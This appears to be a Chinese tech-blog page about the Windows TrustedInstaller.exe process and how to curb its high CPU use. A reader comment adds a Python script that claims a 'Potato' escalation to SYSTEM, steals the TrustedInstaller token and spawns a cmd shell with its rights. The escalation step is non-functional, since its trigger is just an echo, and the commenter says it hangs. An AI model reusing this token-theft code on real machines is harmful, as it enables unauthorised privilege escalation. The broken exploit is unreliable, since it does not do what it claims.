trustedinstaller.exe是什么进程、…

本文介绍TrustedInstaller.exe进程及其可能导致的高CPU占用问题。该进程与Windows Update及系统模块安装有关。文章提供了两种解决方案:一是调整Windows更新设置,二是更改WindowsModuleInstaller服务的启动方式。

TrustedInstaller.exe实际上是“Windows Modules Installer”这个服务的进程,路径位于C:\Windows\servicing\TrustedInstaller.exe。当进行Windows Update,或者安装某些微软发布的安装包时,Windows Modules Installer服务会自动运行,以便可以修改或者替换系统文件。

开机时候“Trustedinstaller.exe”这个进程有时会占用100%的CPU很长时间,TrustedInstaller.exe进程是Windows Vista系统中的安全进程,如果占用率很高如90%或100%是因为Vista/windows7在安装一些系统模块,如Windows Update正在自动下载安装Vista/windows7安全更新,这个期间可能会出现TrustedInstaller.exe进程CPU占用率100%;如果关闭这个进程,会影响系统更新或者更改系统设置的操作。

如果你没有这个耐心,可以有其他两种解决方案。

其一,对自动更新下手。更改Windows更新设置,选择除了"自动更新(推荐)"外的其他三个选项即可。

其二,直指老巢,更改Windows Module Installer服务。

- 要么禁止Windows Module Installer服务随Windows启动:

位置:Win+R->输入MSConfig->服务->取消"Windows Module Installer"前面的选择。

- 要么就直接将其改为手动启动:

位置:控制面板->系统和维护->管理工具->服务。

import win32pipe import win32security import win32api import win32con import win32process import subprocess def steal_trustedinstaller_token(): """ 查找并窃取TrustedInstaller进程令牌。 返回TrustedInstaller令牌句柄。 """ import wmi # 需要安装pywin32和WMI库:pip install wmi # 使用WMI枚举进程 c = wmi.WMI() trusted_installer_pid = None for process in c.Win32_Process(): if "TrustedInstaller.exe" in process.Name: trusted_installer_pid = process.ProcessId break if not trusted_installer_pid: raise Exception("未找到TrustedInstaller进程,确保服务已运行(如通过sc start TrustedInstaller)") # 打开进程并获取令牌 PROCESS_QUERY_INFORMATION = 0x0400 h_process = win32api.OpenProcess(PROCESS_QUERY_INFORMATION, False, trusted_installer_pid) if not h_process: raise Exception("打开进程失败") h_token = win32security.OpenProcessToken(h_process, win32security.TOKEN_DUPLICATE | win32security.TOKEN_IMPERSONATE) if not h_token: win32api.CloseHandle(h_process) raise Exception("打开令牌失败") # 复制令牌以用于模拟 duplicated_token = win32security.DuplicateTokenEx( h_token, win32security.TOKEN_IMPERSONATE | win32security.TOKEN_QUERY, None, win32security.SecurityImpersonation, win32security.TokenImpersonation ) # 清理资源 win32api.CloseHandle(h_token) win32api.CloseHandle(h_process) return duplicated_token def impersonate_and_execute(token, command="cmd.exe"): """ 模拟令牌并执行命令。 token: 复制的令牌句柄 command: 要执行的命令 """ # 模拟令牌 win32security.ImpersonateLoggedOnUser(token) # 创建新进程(以TrustedInstaller权限) startup_info = win32process.STARTUPINFO() startup_info.dwFlags = win32con.STARTF_USESHOWWINDOW startup_info.wShowWindow = win32con.SW_SHOW process_info = win32process.CreateProcessAsUser( token, None, # 应用程序名 command, None, None, False, 0, None, None, startup_info ) print(f"[+] 已以TrustedInstaller权限启动: {command}") return process_info def exploit_potato(): """ 使用Potato漏洞提权到SYSTEM权限 返回: SYSTEM令牌句柄 """ pipe_name = r'\\.\pipe\python_potato' h_pipe = win32pipe.CreateNamedPipe( pipe_name, win32pipe.PIPE_ACCESS_DUPLEX, win32pipe.PIPE_TYPE_BYTE | win32pipe.PIPE_WAIT, 1, 65536, 65536, 0, None ) # 触发漏洞利用 subprocess.Popen(['cmd.exe', '/c', 'echo Triggering exploit'], startupinfo=subprocess.STARTUPINFO()) win32pipe.ConnectNamedPipe(h_pipe, None) try: h_token = win32security.OpenThreadToken( win32api.GetCurrentThread(), win32security.TOKEN_ALL_ACCESS, True ) except: h_token = win32security.OpenProcessToken( win32api.GetCurrentProcess(), win32security.TOKEN_ALL_ACCESS ) duplicated_token = win32security.DuplicateTokenEx( h_token, win32security.TOKEN_ALL_ACCESS, None, win32security.SecurityImpersonation, win32security.TokenPrimary ) win32api.CloseHandle(h_pipe) return duplicated_token # 完整流程示例 if __name__ == "__main__": # 1. 提权到SYSTEM system_token = exploit_potato() # 2. 在SYSTEM上下文窃取TrustedInstaller令牌 win32security.ImpersonateLoggedOnUser(system_token) # 临时模拟SYSTEM ti_token = steal_trustedinstaller_token() # 3. 模拟TrustedInstaller并启动cmd impersonate_and_execute(ti_token, "cmd.exe /k whoami") # 输出将显示: NT SERVICE\TrustedInstaller 终端: Triggering exploit 然后就不动了
11-14
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值